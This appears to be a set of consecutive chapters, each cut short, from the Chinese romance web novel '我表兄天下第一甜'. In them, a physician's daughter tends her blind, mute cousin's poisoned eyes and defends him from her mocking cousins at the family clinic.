那时他听闻山儿得病,立即休书一封让苏泽兰一家回来,他正要大展拳脚之时,却瞧见山儿破碎断裂的声带,那根本是无药可医的。 他震惊,痛苦,羞愤,不仅没治,还为自己找了一大段理由,把错全部推给苏泽兰与陆重,自己一个人逃兵似得逃了。 十六年来,他不知做了多少噩梦,他每每站在这心正庐都觉得是在遭受千刀万剐的酷刑,他心不正,他问心有愧,他敢做不敢当。 苏知辛禁不住手指颤抖,心痛如割,他低着头,按住陆之山,“你别动,我要给你看眼睛。” 陆之山沉默地不说话,安静地听着苏知辛的话,他昂着头,脸上细密的绒毛都清晰可见。 苏知辛眸光扫过他,忽地发觉眼前的少年气质孤冷,不像他那二妹,更不像陆重,他们一个爱哭一个心小,都比不上这少年的冷寂气质。 只可惜这孩子是个哑巴,还是个瞎子。 长长的叹息弥漫到逼仄的屋子里,仿似一阵风,将屋中积压的灰土泥尘统统扬出来,光影下晕染成一团团青烟。 苏知辛被呛得轻咳几声,他挥手散去鼻前的灰尘,却见陆之山绷着脸,咬着牙,一言不发,一声不吭。 瞎了之后,陆之山的嗅觉也敏感不少,他嗓子痒得难耐,却不能咳出来,他正忍得煎熬,一张湿帕子塞在了他的手心,他怔住,转瞬听见苏知辛夹杂着咳嗽的声音,“捂着点儿,灰大。” 陆之山不说话,默默地将沾满药香的湿帕子捂在口鼻处。 日光越来越高越来越大。 逼仄昏暗的屋中此时也明亮起来。 杨夫人身弱觉浅,日头一高便醒了,她在榻上翻了个身,苏祈春的小脑袋便顺着肩膀滑下去,一路落在了软枕上,轻轻地“砰”一声,犹在梦中的苏祈春蹙眉,鼻尖皱成包子褶的形状,哼唧着不想醒来。 “哎呀,天怎么又亮了?”苏祈春揉揉眼睛,半睁着眼,偏脸去瞧那窗下的日光,又长又黑的眼睫垂在眼睑处,密密地照出一排阴影来。 杨夫人撑着身子艰难地坐起来,看着苏祈春笑,“小懒虫,快起床,你父亲和你二姑姑都在院里呢,小心被你二姑姑瞧见你太阳晒屁股的样子。” 说完这一长句话,杨夫人忍不住轻喘。 苏祈春握在杨夫人身旁,替她舒着气,心里思索着,嘴里喃喃道:“二姑姑也来了,那山哥哥呢?” 杨夫人换了一会儿,摸着苏祈春的发,虚弱地笑,“你山哥哥也在,正和你爹爹在心正庐呢。” 苏祈春的眼一下子便睁开了,黑黝黝的眼珠子经过一夜的休息滋养更显出其中光彩,她头歪着,心花禁不住地绽开,嘴角的笑压也压不住。 不等杨夫人催促,她便三两下地穿好衣服,唤来茯苓为她梳妆,茯苓手忙脚乱地蓖着头发,苏祈春望着窗外,等不及了一般。 “女郎,耐心点儿。”茯苓手中的一缕头发被拉扯得几乎要握不住。 杨夫人也道:“要找你山哥哥玩也不急在这一时。” 苏祈春嘟着嘴,杏眼巴巴地望向外面,“去晚了,爹爹就看完病了。” 杨夫人这才恍过神来,明白过来苏祈春的心思,这丫头平日疏于女工,倒也着实有些自己想做之事,她虽久居闺阁,但也过些话本里英姿飒爽 7. 决明子 《我表兄天下第一甜》全本免费阅读 苏祈春背对着窗子,透进来的日光跳跃在她的乌发上,她明媚的容颜更灿烂起来,笼在光后的面靥如春水绽放。 “嗯,来看看爹爹。”苏祈春亮盈盈的眸光落在陆之山身上,“还有山哥哥。” 苏祈春望着陆之山,目光流转,她娇小的身子掩住了陆之山的半边脸,他一只眼藏在阴影里,另一只眼正被光影笼罩着,又长又翘的眼睫覆在眼睑上,犹若躺倒在溶溶白雪地里的一排鸦羽。 仿佛感受到苏祈春的眸光,陆之山的脸朝着苏祈春的方向转了转,光影在他脸上一点点流过,照出眼皮之上的青色药草,那药草斑驳地涂在眼皮上,平白地为他这张清隽的脸添了些破碎。 陆之山应当是个很好看的人,哪怕他是个瞎子。 苏祈春再一次这么想。 苏知辛正倚在桌边,来回地翻一本发旧的医书,时而眉头紧皱,时而沉思叹气。 苏祈春本欲收回目光,去找爹爹,却在眼角余光处望见了陆之山带血的唇角。 “山哥哥,你的嘴……”苏祈春身子往前探探,额头几乎要顶在陆之山的鼻尖,她有些担忧地看着陆之山的唇,下意识地咬咬嘴唇。 陆之山鼻尖忽地溢满微苦,有个细细绒绒的东西飘在他鼻尖上,惹得他鼻尖直痒,手心发麻。 苏祈春表情凝重,她曾在医书中见过多个口中染血的案例,无一不是暴毙而亡,加之陆之山本就病怏怏的,苏祈春更加怀疑他病情之严重。 她来不及细想,低头按住陆之山的手,陆之山本能地想要抽回,苏祈春望着他抽出的手,娇嗔一句,“山哥哥,不许动,纤纤要给你把脉。” 陆之山的手停在半空中,淡淡的光照出他白得近乎透明的手背,听到苏祈春的话,陆之山僵了一瞬,喉咙滚滚,覆满青色药草的眼皮下的眼珠转了转。 见陆之山不动了,苏祈春抓住他的手,将手按在椅子把上,四指搭在手腕上,细细地读着脉搏。 好半天,苏祈春蹙着的眉尖才舒展开来,紧揪的心慢慢平静她放下陆之山的手,轻叹口气,“还好没事,山哥哥,你是不是把自己的嘴给咬破了?” 若无内伤,嘴唇出血那便是外力所致。 陆之山坐着,要比站着的苏祈春矮上一些,他微抬下颌,冲着苏祈春的方向点点头。 苏祈春一面觉得还好只是咬破了唇,一面又觉得陆之山未免也太不小心了,她摇摇头,从怀中拿出一块帕子,将其叠成三角的形状,用它缓缓拭去陆之山嘴角的血,又跑到百眼柜处,拿了几根草药。 陆之山听着清脆的铃声远去又离近,直至静谧,小小的人儿再次站在他面前,挡住一半的天光。 苏祈春将几株药草放在他手心,声音里有种想凶却忍不住凶的意味,“山哥哥,这是蒲黄草,可止血生肌,你放至嘴里嚼出水,这样你的嘴能好得快些。不过……这药有些苦。”苏祈春想起从前喝药的痛苦场景。 苏祈春的话音刚落,陆之山便毫不犹豫地将手心的几株药草塞进嘴里,苦涩的滋味蔓延在他的唇周,浑浊的青汁沿着他的嘴角流下来,他面不改色,如同在做一件极简单的小事。 苏祈春瞪圆了眼看他,清亮的眸子震了震,她蹲下身子,胳膊肘放在椅子把上,双手托着两腮,抬头望着陆之山,“山哥哥,你真厉害,都不怕苦的。” 陆之山虽然不记得所有事,但他总隐隐地对所有的痛熟悉,好像在从前的很长时间里,他都挣扎在这些痛与苦中,因此与其为友,因此能格外忍耐。 他垂头对着苏祈春,伸手抹去嘴角流下的青汁,骨节分明的手指拂过嘴角的淡淡笑意。 苏祈春呆呆地看着他,陆之山的脸在她乌黑的眸中铺展开来,苍鹰振翅般飞进她的眸底,她忽然道:“山哥哥,若你不是个瞎子,定是个顶顶好看的人。” 陆之山怔住,脑袋空空的。 苏祈春嘻嘻一笑,往前挪了半步,一只手拽拽陆之山的衣袖,压低了声音,心疼地说:“山哥哥放心,爹爹一定会治好你。” 陆之山僵住的身体软下来,他别过脸,光影照亮他半边侧脸。 这是第一次,他从苏祈春的话语里听到了可怜,原来她也不过是在可怜他。 紧闭的眼皮掩饰住他的不甘与绝望,他的肩膀不自然地塌下,嘴角泛出一丝极难窥见的苦笑。 苏祈春目光注视着他,向来敏感的她瞧见他那些细微的变化,不忍他伤心,一双小手抓住他冰凉的手指,唤了一声,“山哥哥。” 冰冷的指尖上传来阵阵暖意,好像落雪寒山上的微弱暖阳,陆之山望向苏祈春,指尖几不可见地颤抖。 意识到不对,苏祈春往后缩了缩,松开陆之山的手,咬咬下唇,扭头慌乱地去找苏知辛。 苏知辛仍在翻着那本医术,翻来覆去地找着治疗之法,却苦苦不得其道。 他眉头紧皱,面色愁苦,盯着手中的书页,眸光时明时暗。 苏祈春有些凌乱地步子朝他走来,顺手捡起飘落在地上的书页,陈年的墨水浸透在泛黄的纸页上,晕染成一大片。 是解毒的方子。 苏祈春扫了两眼,走到苏知辛身旁,纷乱的心绪稍稍定了定,开口道:“爹爹。” 苏知辛后知后觉地抬起头,见苏祈春脸颊红红,眼神躲闪,不似平日模样。 “纤纤,正好你来了。”苏知辛放下手中的书卷,走到书桌前,铺上一张生宣,提笔写字。 苏祈春凑近了看,瞧见了决明子、天门冬、千里光等字眼,都是明目的草药。 苏知辛写罢从头看了一眼,思索片刻,又加了一味,牵机。 牵机乃有剧毒,服之须臾便可令人死亡。 苏祈春一声惊呼,出声提醒:“爹爹,牵机是剧毒之物。” 苏知辛偏脸看向苏启春,点点头,“却是剧毒之物,但山儿所中之毒比此毒还要狠绝,我少不得要用些以毒攻毒的 8. 疼不疼 《我表兄天下第一甜》全本免费阅读 陆之山抿着嘴唇不说话,苏祈春小手轻轻掰开他的眼皮,剧烈的刺痛让他止不住地颤。 苏祈春展开手掌,挡住照过来的日光,低声询问:“山哥哥,这样有没有好些?” 没有了日光的刺目,陆之山平静下来,他望向苏祈春的方向,点点头。 苏祈春松口气,目光又落在陆之山毒伤的眼珠上。正常人的眼珠是白仁黑瞳,陆之山的则看不到一点白,黑色的瞳仁旁布满了鲜红的血色,红色蛛网一般爬在眼珠上。 这画面称不上恐怖,但多少有些瘆人,苏祈春倒吸一口凉气,明亮的黑眸盯着那颗眼珠看,忍不住地想陆之山该有多疼。 眼睛本就是人身上最脆弱的部分,是以比其他部位多了一层保护,而陆之山的眼像是被一把把极薄的刀片划出一道道血痕,看起来触目惊心。 “山哥哥。”苏祈春望着陆之山,咬住下唇,“你疼不疼?” 陆之山有些茫然。 伤了眼睛,应当是很疼的,但受伤之前的事他已全记不得。 “没事。”苏祈春又道:“会好起来的,以后纤纤每日都为山哥哥敷药,一定治好山哥哥。” 这世间有很多事都有好与坏两面,苏祈春总愿意往好处想。 起风了,今年冬日的风格外地大,呼啸的风劈里啪啦地打在窗纱上,长长短短,纷纷扬扬,无穷无尽。 苏知辛赶着去怀仁堂便走了,心正庐里只剩下苏祈春与陆之山两人。 苏祈春一边挡着日光,一边将药水小心地倒进陆之山的眼里。 青色的药汁滑进血红的眸中,只不过一瞬,便泛起细小的泡沫,湮进一片血红中,看不到一丝痕迹。 苏祈春嘴唇几乎要咬破,她望见陆之山布满汗水的额头,又看见陆之山攥紧的手,她想他一定很疼。 “山哥哥,你再忍一忍。”她宽慰着他。 不知怎的,陆之山心下觉到一丝心安,像是极好的日子里晒了一次暖暖的太阳,他因此得到力量。 陆之山头一次不想做个哑巴。 从前他愿意做哑巴,因为他没有可说的话,也没有想说的话,更没有想要说话的人。 而此时,他闻着萦绕在鼻尖的微苦,听着苏祈春夹着心疼的话语,忽然很想和她说说话。 想回应她,和她说话,告诉她,他会忍一忍的。 哪怕她只是在可怜他。 眼前是一片黑暗,苏祈春的手悬在他的额上,挡着泄进屋内的天光。 他鬼使神差地抓住苏祈春的手腕,苏祈春颤了颤,立在原地,不解,疑惑,又有些害怕,“山哥哥你……” 很快苏祈春便明白了陆之山的意图,陆之山将她的手放下,自己的手挡在了天光照射的地方。 他的手修长。 苏祈春如梦初醒,她笑笑,活动下酸胀的胳膊,甜甜的声音贴着陆之山的面靥,“谢谢山哥哥。” 陆之山嘴角泛出一抹淡淡的笑,紧闭的双眼眼尾扬起来,扬成一个极好看的弧度。 眼睛已上好药,现时该将药泥敷在眼皮上。 苏祈春耐心的铺好,手指指腹时不时滑到陆之山的眉峰上,粗粝的眉坚硬,扎得她隐隐的疼。 好容易将药泥铺好,苏祈春将布条盖在陆之山的眼眸上,陆之山放下举起的手,天光重又回到他的脸上。 他的脸近乎透明,冬日的天光带着些冷冽的白,因此更显得他脆弱,仿佛一块快要融化的冰。 但他又是极好看的,如岑寂无人的冬夜,如沾满风雪的青松。 苏祈春引着陆之山,将他带出心正庐,苏泽兰正在门口等他,一见到他,便上前拉住他的手,两眼流着泪,“山儿,怎么样了啊?” 陆之山扭头面向苏祈春。 苏祈春道:“姑姑不必担心,山哥哥眼上已敷好了药,日后须得每日来心正庐换药,另外还有方才的药记得每天喝。” 陆之山安静地听着。 苏泽兰谢了一番苏祈春,领着陆之山离开觉明院,不知名的小花开在路旁,昂着花蕊对着天光,粉嫩的花瓣上犹带着清晨的露水。 陆之山被苏泽兰紧紧地抓着胳膊,青色的袖袍已然皱成一团。 “山哥哥。” 陆之山停步,回头,耳边响起急促的铃声。 小女郎跑到他面前,口内喘着气,似是很累,但她仍笑着。 “山哥哥。”苏祈春拿出一把梨膏糖放在陆之山怀里,话语断断续续,“梨膏糖很甜,吃了就不觉得药苦了。” 陆之山捧着怀里的梨膏糖,冰封的心慢慢融化。 “谢谢纤纤。”苏泽兰笑着说,说完带着陆之山往月雪阁走去,便走便感慨,“纤纤是个好姑娘,倒一点都不嫌弃山儿的病。” 陆之山听着周围虫鸣鸟叫,清风拂枝的声音,又听到清脆的铃声一点点远去,消失,心这才平静下来。 苏祈春回到觉明院门口时正碰到了李夫人和苏川柏、苏川谷两兄弟,她对着他们福一福身,唤着:“婶娘,柏哥哥,谷哥哥。” 李夫人向来喜爱苏祈春这个侄女,喜她谦逊有礼,明媚动人,一双眸子会说话一般,直直地勾人进去。 她颔首,道:“纤纤,你爹爹在吗?” 说罢,她推推苏川柏和苏川谷两兄弟,想让他俩也和苏祈春多说说话,谁知这两个小子,平日不用功念书也就罢了,倒也跟着人学些桀骜的做派来,只会跟她对着干。 李夫人尴尬笑笑。 苏祈春倒不在意,她见惯了这俩兄弟耀武扬威,呼三喝四的模样,平日里两兄弟仗着祖母的偏爱,斗鸡走狗,逃学赌钱,无恶不作,也就只是长得是个人样儿。 “父亲去怀仁堂坐诊了,婶娘不然夜晚再来?” 李夫人心下暗自生气,她本欲早点儿来,和苏知辛见上一面,商量商量两个孩子出馆学医之事,谁知这两兄弟,赖在床上,和通 9. 拜师礼 《我表兄天下第一甜》全本免费阅读 连着几日,苏祈春日日忙着给陆之山敷药换药,渐渐地和陆之山熟络起来,时不时还可以看到陆之山嘴角轻到快要消失的笑。 苏府的人都不愿靠近陆之山,但苏祈春却不愿见他孤零零一个人,总是陪着他,和他说话,虽然他不能回应,但苏祈春每次看他,他都在认真的听,久而久之,苏祈春也愿意和他在一起。 这一日,苏祈春忙了一天,先是忙着做女红,跟着老夫人身边的嬷嬷学了半日绣香囊,累得手麻脚麻,后又跟着苏泽兰下了半日的棋,回到觉明院时,已困得站都站不稳,沾上枕头便睡着了。 是以苏知辛回觉明院时,她也并不知晓。 苏知辛望见苏祈春屋子的灯灭了,便径直进了内室。 屋里灯烛如豆,灯影昏昏绰绰地照出杨夫人消瘦的身影,她此时正立在明角灯下,手里拿着剪刀,去剪灯笼中的烛芯。 苏知辛悄然走至她身后,伸手握住她拿剪刀的手,手心间转瞬便传来一阵冰凉。 杨夫人只觉一阵暖流细细簌簌地传着全身,灯烛在她眸中闪烁。 “咔擦”一声响,灯火越升越高,热烈起来。 杨夫人转身回眸,凝望着苏知辛,“你回来了。” 苏知辛“嗯”了一声。 两人相识半生,早已心心相印,不必多言便可明了彼此的心意。 苏知辛揽着杨夫人回到床榻上,两人相依相偎,柔情似水,密语枕间,悱恻缠绵。 杨夫人蜷缩在苏知辛的怀里,闻着他身上夹杂着些许汗味的药香,纤细的手去寻苏知辛的手,十指交叉,她这才觉得安心,想了想,她柔声问:“苏川柏和苏川谷两兄弟何时跟着你出馆?” 苏知辛抚摸着杨夫人泻在肩上的如瀑青丝,沉声道:“明日,老夫人催得急。” 杨夫人愣了愣,弃了苏知辛的手,白玉一般的纤臂滑进苏知辛的腰间,脸也贴在苏知辛的心口上,她眨眨眼,眼睫上瞬间挂满了水,“怀仁堂是你一生的心血……” 杨夫人不问家中事务,素日也是一副不争不抢的样子,可老夫人这般安排是什么用意,她又岂能不知,别的倒也罢了,可怀仁堂…… “是我对不起你,若是我身子能好些,能给你再生个儿子,你也便不用如此委屈自己。”杨夫人忍不住哭出声来。 苏知辛听得揪心地疼,他伸手拭去杨夫人脸上的泪,低头吻在她的眼上,吮去她睫上泪花,将她紧拥在胸前。 “你我之间,没有什么委屈不委屈。” “苏大哥……”杨夫人情至深处,口不择言,叫起幼时唤苏知辛的称谓。 苏知辛的心都要化了,他抱紧杨夫人,轻声在她耳边呢喃,“妹妹,我的好妹妹……” 话语之间,苏知辛翻身将杨夫人压在下面,杨夫人身子娇弱,略动一动便面靥酡红,气喘不止,苏知辛看得心疼,也不敢太放肆,只好轻轻柔柔,急急缓缓。 云翻雨覆,满屋子的旖旎声响渐渐止住,帷帐上交叠的身影彼此分开。 杨夫人蔫儿了一般躺在苏知辛的胸口上,鬓边的碎发湿漉漉地贴在额前,滋润过的面靥透着些薄红,她气息时断时续,话不成句,“苏大哥……” “还好吗?” 杨夫人缓了会儿,好受了些,她点点头,窝在苏知辛的脖颈间,声音轻得要断掉,“不如让纤纤也跟着你一起出馆坐诊?她本就会些医术,而且,” 杨夫人顿了顿,“而且她是我们唯一的孩子,她想学医。” 杨夫人哽咽起来。 苏知辛又岂能不知道其中的道理,但苏祈春是女子,苏家家教森严,让女子抛头露面是大忌。 可他听着杨夫人的泣声,心中陡然生出些孤勇来,他吻在杨夫人的发间,滚烫的身子暖着杨夫人冰似的肌肤。 他爱她柔软沁人的脾性,爱她泪眼欲泫的脆弱,他为了她甘愿放弃怀仁堂,现时让苏祈春出馆问诊他也愿勉力一试。 况且他本也不信什么礼教之言,为何女子天生就该呆在屋里被人挑选?若是因苏祈春抛投露面过而嫌弃她的男子,也不配做他苏知辛的女婿。 心下主意打定,他搂着杨夫人,沉沉睡去。 翌日,苏知辛早早地醒了,春/宵一夜,他未免有些疲累。起身时,手肘处还有些酸痛,再看杨夫人,更是昏昏沉沉,起不来床。 他替杨夫人盖好被子,在她眉心落下一个轻吻。 觉明院里,茯苓见苏知辛醒了,忙去小厨房里端出来一应饭食,苏知辛吃着,没多久,李夫人便带着苏川柏和苏川谷两兄弟来了。 李夫人见着苏知辛,将两兄弟往前推推,福身道:“大爷还没走呢?” 苏知辛对这个弟媳没什么意见,只知道她一心扑在两个孩子身上,偶尔也使些手段,但也并不过分,他点点头,笑着说:“两个孩子挺精神的。” 李夫人瞧着两兄弟耷拉着脸的样子,气就不打一处来。她暗中掐了俩人一下,赔笑道:“让大爷见笑了,你们俩”李夫人语气陡然一变,“还不快叫师父。” 苏川柏和苏川谷两兄弟互相看看,颇不情愿地拱拱手,声音软绵轻浮,“师父。” 苏知辛虽整日忙于怀仁堂的生意,但对于这两个侄子的脾性他也心知肚明,湛江县若有恶霸排名,他二人定能登其上,也就是两人皮相尚可,看起来像个好人罢了。 “不敢当。”苏知辛笑笑,“这自古拜师都有个流程,需备六样束脩,行拜师礼后才算礼成,如今名不正言不顺,我可不敢当。” 李夫人听罢此话,有些急了,忙拿出挂在手上的几样礼物,递到苏知辛面前,又推着两兄弟,令他俩跪下磕头。 “大爷,这束脩你先收着,再让这两个孩子给您磕个头,你看行不?” 苏知辛脸色变了变,他本也不是在意这些虚礼的人,但他看着两兄弟不情不愿的样子,不觉怒从心头来。 苏川柏和苏川谷素日也就在老夫人面前还装一装,在其他人面前连装都不愿意装,只因他们深知,有老夫人在,这怀仁堂 10. 他不是 《我表兄天下第一甜》全本免费阅读 10他不是 四人一同来到怀仁堂,快到时,李夫人千叮咛万嘱咐,要苏川柏和苏川谷两兄弟多听苏知辛的教诲,妹妹苏祈春还小,要多帮着妹妹。 李夫人说起话来事无巨细,两兄弟只觉得啰嗦烦躁,左耳进右耳出,摆着手嘟囔着:“知道了知道了,耳朵听得都要起茧子了。” 刚到后院的角门处时,苏知辛就被怀仁堂的伙计叫走了,李夫人又交待了几句也匆匆离开,只剩苏祈春与苏川柏和苏川谷两兄弟。 送走李夫人后,两兄弟回身,一脸厌烦不耐,抬眸之间,只见梨花树下,落英缤纷,雪白的花瓣片片飘落,纷纷扬扬的,一个男儿装扮的粉嘟嘟的小少年正站在树下,梨花不知不觉落了满肩。 她面上蒙了一层面纱,只留了一双忽灵灵的大眼睛露在外面,光影摇曳,面纱下的樱唇秀鼻时明时暗,若隐若现,倒另有分别样的美感。 两兄弟见此场景,不觉目眩神迷,方才的烦闷噪郁也都一扫而空。 苏祈春瞧见二人这副眼迷目乱的神情,心下一阵冷寒,总觉得哪里不对劲,可她再怎么想又怎能想到这两位的心思,她只当是两兄弟轻浮,便笑也不笑,随口说一句,“两位哥哥,时候不早了,快走吧,爹爹还在等着我们呢。” 说完,不等两兄弟反应,苏祈春转身便走。 两兄弟相视一笑,追上苏祈春,眼中的算计筹谋遮也遮不住。 “妹妹慢些走。”苏川谷晃着身子大咧咧地走到苏祈春身旁,舔着脸笑。 苏祈春不爱理他,直直地往前走,目不斜视,“谷哥哥莫要磨蹭了,若去晚了,惹得师父不快,那便遭了,你我第一天当徒弟,最好还是安分点儿好。” 最后一句话,苏祈春说得很重,但苏川谷显然没听明白。 苏川谷摇着脑袋,声音里满是不屑,“这有什么?学不学,怀仁堂不都是我们的?” 他说着望向苏川柏,眼中的得意之色几乎要溢出。 苏川柏自然跟苏川谷是一个心思,但他却不似苏川谷那样张扬,君子才不外露,他向来低调,做了坏事也不吱声,有祸便让苏川谷顶着,而他则在背后坐收渔翁之利。 苏祈春听了苏川谷的话,不免有些郁结停在胸口,赖着爹爹娘亲的教导,她从不觉得自己比她的两个哥哥差,可如今,她那两个哥哥什么事都不做,却得了万分的好处,还要到处炫耀吹嘘。 她不甘心。她很不甘心。 眼底映出的明亮天光骤然暗下来,苏祈春眼角垂下来,略有些失神。 苏川柏在一旁静静地看着,此时才张口说话,“妹妹说得有道理,谷弟弟,我看我们还是快些走,免得师父等急了,再说了,我们拜师本就是为了学医救人,至于怀仁堂是谁的,这是老夫人说了算的,你我又怎能置喙?” 这话说到苏祈春心坎儿里去了,不管怀仁堂是谁的,她苏祈春的志向永不会变,她决定了要治病救人济世为怀,便不会忘。 苏祈春别过脸,对苏川柏投上一眼钦佩的目光。 苏川柏心里偷乐,脸上仍一副正人君子的模样,在苏祈春面前装模作样。 苏川谷见不得他这副样子,给了他一个白眼,懒得搭理他。 虽是清晨,怀仁堂门前已排起了长队,看病的人老老少少,男男女女,人头攒动,络绎不绝。 三人到时,苏知辛已坐在脉案前,垂头听着面前人的一字一句,一言一语。生病之人因疼痛,加之不懂病理,常会胡思乱想,杯弓蛇影,将所有可疑的症状全说一遍。 譬如说苏知辛面前这位。 他近来腹痛难忍,加之最近胃口也差,人消瘦不少,邻居看见他,都觉得他活脱脱变了一个人,不像人倒像鬼,定是得了大病。 故而他见到苏知辛,从他每日吃了什么,到排泄物是何颜色气味,事无巨细,一并说了一遍。 若是换了旁人,此时只怕是头昏脑胀听不下去,但苏知辛就是在此处也能做到旁人所不能做的。 他对待所有的病人,都可以耐心去听,目光笃定,一丝不乱。 苏川柏和苏川谷两兄弟站在旁边听了不到半刻,便已是头昏脑花,耳聋目盲,哀嚎阵阵。 苏知辛不得已让他俩去药房那边,先学着识药抓药。 那两兄弟乐得自在,一溜烟便跑没影儿了,只剩下苏祈春一个,安安静静地坐在苏知辛身后,小小的手上提着一根毛笔,并起的腿上摊着一张生宣,她听得认真,边听边在纸上写些什么。 那人好不容易说完,苏知辛又让他张张嘴,看了一下后,苏知辛点点头,把了一下脉,便挥手写下一副药方,递到身后。 苏祈春连忙接住,细细地看了一番,又低头和自己写的对了对,眉头皱起又松开。 见身后没动静,苏知辛清喉提醒,“快些抓药,后面的人还在等着呢。” 苏知辛的话温柔,苏祈春盈盈一笑,连忙站起身,拿着药方便往药房赶去。 排队的病人见着怀仁堂来了个俊俏的小公子,一个个眼都看直了,忍不住赞叹,“这是谁家的小公子,模样真好,性情也好,笑起来的样子跟春风似的。” 苏知辛向来谦虚,但听着众人的夸赞,也不禁暗自得意起来。 苏祈春一上午忙来忙去,来回忙着送药方,写方子,但她倒不觉得累,她只觉得治病救人实在不是一件简单的事,不仅要看得准,还要时刻斟酌药量,对症下药,着实不易。 苏川柏和苏川谷两兄弟倒是自在,来了药房,药房伙计使唤不动他俩,叫了两回不动弹后,伙计也放弃了,任由他俩玩闹。 苏川谷坐在板凳上,翘着二郎腿往外看。 湛江县民风淳朴,未出嫁的女子都躲在屋里,并不出来,他眼晃着,目光所及之处没有一个姿色艳丽之人,颇觉得无聊。 苏川柏最知道他这个弟弟的心思,见他眼神乱晃,便看穿他的想法,推推他,手往街角那么一指。 苏川谷顺着看过去,眼蓦地一下亮了。 怀仁堂足足占了两间铺面,生意也好,连带着周边的生意已红火起来。这不最近街角处就开了 11. 我不许 《我表兄天下第一甜》全本免费阅读 在苏川谷眼里,苏祈春向来是个温柔可爱,甜美动人的妹妹,见谁都是笑嘻嘻,不招惹别人,凡事能不招惹就不招惹。 是以他还从未见过这个妹妹这副表情过,像个被激怒的幼兽,全身被愤怒占据,一双杏眼,亮得惊人,好似要把他吃了一般。 苏川谷心里不禁一声“咯噔”,眼神躲闪,不敢直视,但他平日嚣张惯了,又怎会服输,大声地说:“妹妹,你脑子傻掉了?咱们家还有谁又哑又瞎?” 他这一嗓子,声音大得惊人,只因他心中有鬼,才故意如此,掩饰自己的心虚。 可他这一喊把身边人的目光都吸引了过来,众人先是疑惑:苏家有谁又瞎又哑?接着又疑惑:苏川谷怎么对着这个小公子喊妹妹? 苏祈春听着身旁人的议论,气得眼眶湿湿的,几乎要落下泪来,她废了这么大一番伪装才来到怀仁堂,这才半日,她这个哥哥就把事给捅出去了。 她忍着因委屈而颤抖的声音,回道:“我不许你那么说山哥哥。” 她虽含着泪,可隔着茫茫泪水下的明眸依旧坚定。 苏川谷被她看得更加心虚,更加不依不饶起来,“怎么?为什么不能说?这难道不是事实?你让大家评评理,我说实话怎么还有错呢?” 苏祈春自然知晓苏川谷说得是实话,可她就是觉得不能说,陆之山是又瞎又哑,但这不是被人嘲笑的理由。 他一出生就得了哑症,不能说出自己的爱恨,不能说出自己的喜好,甚至不能像世间的其他人一样和自己亲人说说话。 不管面对什么,他都无法回应,沉默得像个不存在的人。 可就是这么惨的一个人却又瞎了,从此看不到世间的一切色彩,他的生命里只剩下黑暗,无边无际的黑暗。 但可笑的是,这一切都不是因为他做错了什么,而是上天给他的,不论好坏,他都得接着,反抗没用,挣扎没用。 所以他凭什么要这样被嘲笑? 苏川谷凭什么这么说他? 围上来的人越来越多,苏祈春乌黑的眼眶里盈满了泪,她渐渐看不清眼前人,鼻子像被塞住,声音很闷,“你不许这么说。” “你就是不许这么说!” 话到最后,苏祈春声音逐渐破碎,像是层层坍塌的雪山,初始只有一小角,最后整座山都倒下来,支离破碎,满目疮痍。 周围的人本就是来看热闹的,本来还在相互讨论,这下看见这秀美的小公子哭成一团,眼睛肿肿红红的,粉嘟嘟的脸蛋上滑过好几道泪痕,也不禁心疼起来,一边指责着苏川谷,一边安慰苏祈春。 “你是做哥哥的,怎么能把人家惹哭了?” “小公子别哭了,男子汉大丈夫,有泪不轻弹!” “什么小公子,分明是小女郎!” 苏川谷虽然心虚,但他绝不会认错,他别过脸,不去看苏祈春。 苏川柏倒是想安慰安慰,以展现自己这个做哥哥的大好心肠,他俯下身低声安慰着,没说几句,苏祈春便哭得更凶了,他也只好作罢。 好在药房伙计是个有眼力见儿的,急急忙忙跑出去,唤了苏知辛过来,苏知辛听后,眉头紧锁,跟眼前的病人嘱咐几句便急匆匆地赶来。 进门一看,果见苏祈春已哭倒在地上,覆在面上的面纱已被泪水打湿透了,黏在脸颊上,隐隐约约透出些薄红。 “纤纤。”苏知辛忙跑过来扶起苏祈春,心疼地擦着她脸上的泪,再看苏川谷,一副毫不在意的样子,看得苏知辛气不打一处来。 苏祈春眨眨眼,眼眶里聚集的一滴泪便落下来,模糊的眼前清楚了些,她这才分明地看到苏知辛的脸,见到亲人后,那委屈反而更深了些,她哽咽着说:“爹爹。” 苏祈春扑到苏知辛怀里,泪水打湿他的肩膀。 “爹爹……” 苏知辛拍着苏祈春的背,轻声安慰着,好一会儿,苏祈春才止住了泪。苏知辛训斥了苏川谷一顿,罚他抄一百遍《伤寒杂病论》,苏川谷心不甘情不愿地认了,但保不齐日后又会做出什么事。 事情已了,人渐渐散去,苏祈春仍坐在苏知辛身后,眼睛还泛着隐隐的红,苏知辛时不时回头看她,见她可怜样子,心里揪着疼。 有来看病的人好事,多嘴问苏知辛身后的小人儿是公子还是女郎?苏知辛脸阴沉着,冷冷地回:“自然是公子。” 第一个两个人问,他们还不信,问的人多了,见苏知辛答得干脆,便也信了。 苏祈春提着毛笔,笨拙地在纸上写着字,时不时砸下来一滴泪,将黑色的墨水晕染成一大片。 她盯着手边的砚台,砚台里盛着浓黑的墨水,粼粼地闪着光,苏祈春握紧笔杆,想到陆之山的眉,又想到陆之山的眼疾。 她要每日为陆之山换药的。 想至此,她莫名地想要今日快些结束,如此她便可回到苏府,完成她要做的事。 苏府,觉明院。 杨夫人缠绵病榻,茯苓正在廊下熬药,苏知辛走时嘱咐茯苓今日的药里多加一味酸枣仁,茯苓闻着药香,又困又乏,头不住地往下点。 好容易将药熬好送给了杨夫人,所幸院中无事,茯苓歪在廊下的美人靠上便睡着了。 湛江县的冬天本不甚冷,加之今日日高风小,茯苓这一睡,便睡到了天黑。 这中间,她隐约听到有人进来,问了句:“纤纤在不在?” 她正坐着好梦,艰难地抬起手摇摇,嘴里咕哝着,“不知道不知道!” 接着两人便走了。 苏泽兰回到月雪阁中,刚进门,泪便掉下来,陆重着急地问:“怎么了?发生了何事?” 苏泽兰不说话,坐到桌旁,抹着眼泪。陆之山远远地站在门外,青松树下,面上无波无澜,却看起来更落寞更悲伤。 陆重性子急,追着苏泽兰一直问,苏泽兰这才幽幽开口,语气可怜,“我今日带着山儿去觉明院找纤纤上药,纤纤人不在,那院儿里的丫头也不知跟谁学的,看都不看我们一样,手一摆就赶我们走。” 苏泽兰边说边哭,陆重听完时,脸气得通红,恨恨地说:“我早知道他们一直都看不上我们,现在山儿病了,他 12. 我知道 《我表兄天下第一甜》全本免费阅读 夜色昏沉,大路上的灯火渐渐暗下来,怀仁堂内,苏知辛送走最后一位病人,松弛的眼尾似被沾染上倦意,懒懒地垂下。 